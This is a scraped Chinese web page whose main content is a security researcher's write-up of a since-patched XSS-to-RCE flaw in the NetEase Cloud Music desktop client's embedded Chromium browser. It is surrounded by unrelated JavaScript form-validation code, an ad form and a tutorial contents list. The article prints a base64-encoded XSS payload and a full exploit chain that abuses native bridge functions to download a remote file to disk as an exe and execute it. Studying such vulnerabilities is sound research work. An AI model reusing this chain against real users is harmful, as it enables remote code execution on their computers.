		document.getElementById("msg").innerHTML="不能空着啊！！！";
		document.getElementById("msg").style.color="red";
		return false;  // 不提交
	}
	// onsubmit事件提交
	function onsub () {
		var uname=document.getElementById("uname");
		var val=uname.value;
		if(val.length>0){
			return true; // 提交
		}
		document.getElementById("msg").innerHTML="填写点儿东西呗！(ˉ▽￣～) 切~~";
		document.getElementById("msg").style.color="red";
		return false; // 不提交
	}
</script>

表单校验

Author: Wfox@360RedTeam

0x00 前言

前面章节讲解了应用程序是如何与网页进行交互的，接下来章节分析通用软件历史漏洞，通过真实漏洞案例分析去了解嵌入式浏览器安全的攻击面。本章节讲的是网易云音乐rce漏洞分析，一个经典的XSS to RCE漏洞。

往期文章回顾： 1. 《嵌入式浏览器安全之初识Cef》

0x01 Cef资源文件加载

cef浏览器中加载web网页访问通常分为两种，分别是远程资源加载、本地资源加载。

远程资源加载，通过http、https等协议加载网页，通常在软件里作为扩展功能，可延展性强，缺点是页面加载速度受网络环境影响。本地资源加载，通过file协议实现加载web页面，也是cef桌面应用的主要实现方式。本地加载uri实现方式分为三种：

绝对文件路径加载 file:///c:/application/index.html
伪host加载 file://application/index.html
伪协议&伪host加载 custom://application/index.html

第2、3种方式是通过cef资源重定向实现的，在使用cef加载本地web资源时，html或者js文件很可能会暴露一些接口或者重要数据，为了代码保护需要把web资源进行加密，常见方式是通过zip进行密码加密。解密也比较简单，逆向主程序文件找到解压密码或者zip明文攻击就能解压加密的资源文件。

具体的实现原理这里不再复述，感兴趣的可以阅读这篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278

漏洞挖掘的第一步，先打开网易云音乐的目录，可以看到明显的Cef目录架构，比如说子目录、依赖库特征等。

在package目录中，找到了网易云音乐的资源文件包orpheus.ntpk，以zip格式解压得到网易云音乐html资源文件。

解压之后目录结构如下，包含了html、js、css文件等，正是这些构成了网易云音乐的整个前端界面。

当网易云音乐主程序打开时就会加载链接 orpheus://orpheus/pub/app.html，经过cef资源重定向处理后，加载orpheus.ntpk压缩包的/pub/app.html，也就是我们最为熟悉的主界面。

通过进程查看软件Process Hacker查看cloudmusic.exe进程，可以看到cloudmusic.exe主进程下面起了两个子进程。

这两个进程分别是render进程与GPU加速进程，GPU加速进程用于加速页面渲染，在网易云音乐的设置里可以禁用GPU加速。

// cef render进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411

在漏洞挖掘过程中可以关注下cef进程的启动参数，指不定有些好玩的启动参数，后边章节再讲这方面。

0x02 寻找突破点

在拿到源码文件之后，能做的事情很多，感兴趣的可以自行从html、js里边发掘。这次的目的是为了给客户端弹个计算器，所以首先要达到一个目标，执行任意JavaScript，先从一个xss漏洞开始。

接下来就是常规的Web前端漏洞挖掘思路，在发掘过程中可以将html、js进行格式化，方便阅读代码。

原漏洞作者的思路是从html模板文件找到未过滤的模板变量，从而控制输出点达到xss。但在实际挖掘中，大部分html输出点都是不可控的，原作者找到的xss触发点在电台页面/pub/module/main/djradio/show/index.html的电台名称字段。

漏洞点修复前是${x.name}，修复之后加上了escape进行编码过滤。

我们需要添加一个名称带有xss payload的电台，受害者通过搜索电台名称，在访问电台页时即可触发xss。

原漏洞作者提到了通过外置浏览器跳转到伪协议链接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest，从而唤起网易云音乐，但经过实际分析测试，只能唤起应用但不能跳到对应搜索页面。

那外置浏览器是如何调用网易云音乐伪协议，通过注册表可以查看windows系统中注册的所有伪协议，比如网易云音乐orpheus协议在注册表的地址为 HKEY_CLASSES_ROOT\orpheus\shell\open\command，键值为 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″，%1作为变量对应的是完整的伪协议url，最终创建进程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”

目前电台页面处无法复现漏洞，所以搬了原作者的xss效果图。

0x03 进阶攻击

小目标达到了，接下来就是如何将xss漏洞的危害扩大，这里就要用到第一节讲到的知识点，应用程序会在render进程上下文中注册许多JavaScript扩展函数，用于应用程序与网页进行交互。

举个例子，缓存歌曲、缓存突破、下载歌曲、下载歌词文件这些功能都需要涉及文件操作，但网页由于安全策略限制是无法直接保存文件的，所以需要通过JavaScript调用native function来实现文件操作。

当然应用程序注册的JavaScript扩展函数不止这些，接下来进阶攻击就是寻找脆弱的JS扩展函数进行复用，以达到窃取数据、劫持登录凭证、读取任意文件、甚至控制对方计算机权限的目的。

现在复测没有xss漏洞可以用，那我们就假装有一个xss，通过拦截网易云音乐的请求修改响应，插入我们的JavaScript代码。此时祭出大杀器BurpSuite，通过网易云音乐自带的HTTP代理功能设置成127.0.0.1:8080

代理设置成功后，BurpSuite就能抓到网易云音乐的请求。这里用漏洞版本2.1.2.180086作为演示，前面提到过网易云音乐有很多html输出点都没过滤的，但是内容是不可控的。在旧版本网易云音乐中，可以通过BurpSuite拦截修改api请求的明文响应包插入xss payload，触发XSS。（新版本中api请求响应都加密了）

比如说在搜索歌词时，响应部分的lyrics字段会作为html内容插入到页面中，可以替换这部分的响应内容插入xss内容。

添加自动替换响应包规则，省得每次都要拦截修改响应。

随便搜一个查询条数少的关键词，切到歌词的搜索结果，加载替换响应内容后成功触发XSS。

通常cef程序很少会留有可以直接系统命令的扩展函数，所以常见的rce思路是下载可执行文件+运行文件以达到rce的效果。接下来就是通读代码，寻找任意保存文件的扩展函数。

网易云音乐的主要功能逻辑在core.js文件，第一步先将混淆的JavaScript代码美化，提高代码可读性，在代码量居多的情况下可以搜索相关关键词以定位函数，如save、保存、download、下载等，通过关键词定位找到一处可疑的功能代码。

根据代码上下文逻辑，构造出文件下载保存的JavaScript代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });

JavaScript代码太长在xss里格式不好处理，所以将xss代码base64执行。

<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>

插入XSS代码触发，可以将任意远程文件保存到本地任意位置。poc触发成功后将百度logo图片保存到c:/users/public/1.png

当然在实际场景中可能会遇到长度限制，这里只是把payload写在一起作为演示，正常利用建议还是引用远程JS文件。

exe文件已经落地到文件系统中了，接下来就是如何触发下载后的exe文件。通读代码可以发现，网易云音乐基本是通过bD.cFB、bD.bX调用native函数，可以围绕着这些函数调用进行发掘，然后复用函数方法。

通过技巧找到了打开exe文件的方法，这个函数原意应该是用来打开文件夹的，文件/pub/module/main/offline/complete/index.html

根据代码上下文逻辑，构造出打开指定exe文件的JavaScript代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");

文件下载、打开exe文件都具备了，接下来构造完整漏洞利用代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);

完整利用流程：插入xss payload -> 诱导别人触发xss -> 下载保存exe文件 -> 打开执行exe文件

在网易云音乐最新版本中不仅修复了xss漏洞、增加CSP安全策略，还修复了文件下载、打开文件等涉及文件操作的许多函数，使攻击成本加大，熟悉逆向的可以分析下判断逻辑是否能够绕过。

0x04 结语

本章节涉及了cef资源加载、目录结构分析、进程启动分析、scheme协议注册、XSS漏洞挖掘、native交互漏洞挖掘等知识点，完成一个XSS to RCE漏洞的挖掘才能算是真正的入门。当Web安全人员去真正发掘这方面漏洞时，会发现嵌入式浏览器漏洞挖掘也没那么难以触及，主要是通读代码跟复现代码逻辑会比较耗时间，感兴趣的朋友可以尝试下挖掘通用点的桌面应用~

0x05 参考

漏洞原作者：evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278

在线咨询

上一篇：干货！200节网站开发教程，内附课程素材，html+
下一篇：如何显示密码安全强度-

您的项目需求

*请认真填写需求信息，我们会在24小时内与您取得联系。

整合营销服务商

事件的捕获和冒泡

要内容

事件

作用

事件中的几个名词

事件类型

事件流和事件模型

事件冒泡

事件捕获

DOM 事件流

事件处理程序

HTML 事件处理程序

DOM0 级事件处理程序

DOM2 级事件处理程序

本节作业

BOM对象

Window对象方法

系统对话框

打开窗口

关闭窗口

时间函数

setTimeout()

setInteval()

history对象

location对象

本节作业

DOM对象

节点

操作元素的节点

获取节点

创建节点和插入节点

创建节点

插入节点

间接查找节点

删除节点

表单

获取表单

获取表单元素

获取input元素

获取单选按钮

获取多选按钮

获取下拉选项

提交表单

表单校验

0x00 前言

0x01 Cef资源文件加载

0x02 寻找突破点

0x03 进阶攻击

0x04 结语

0x05 参考

您的项目需求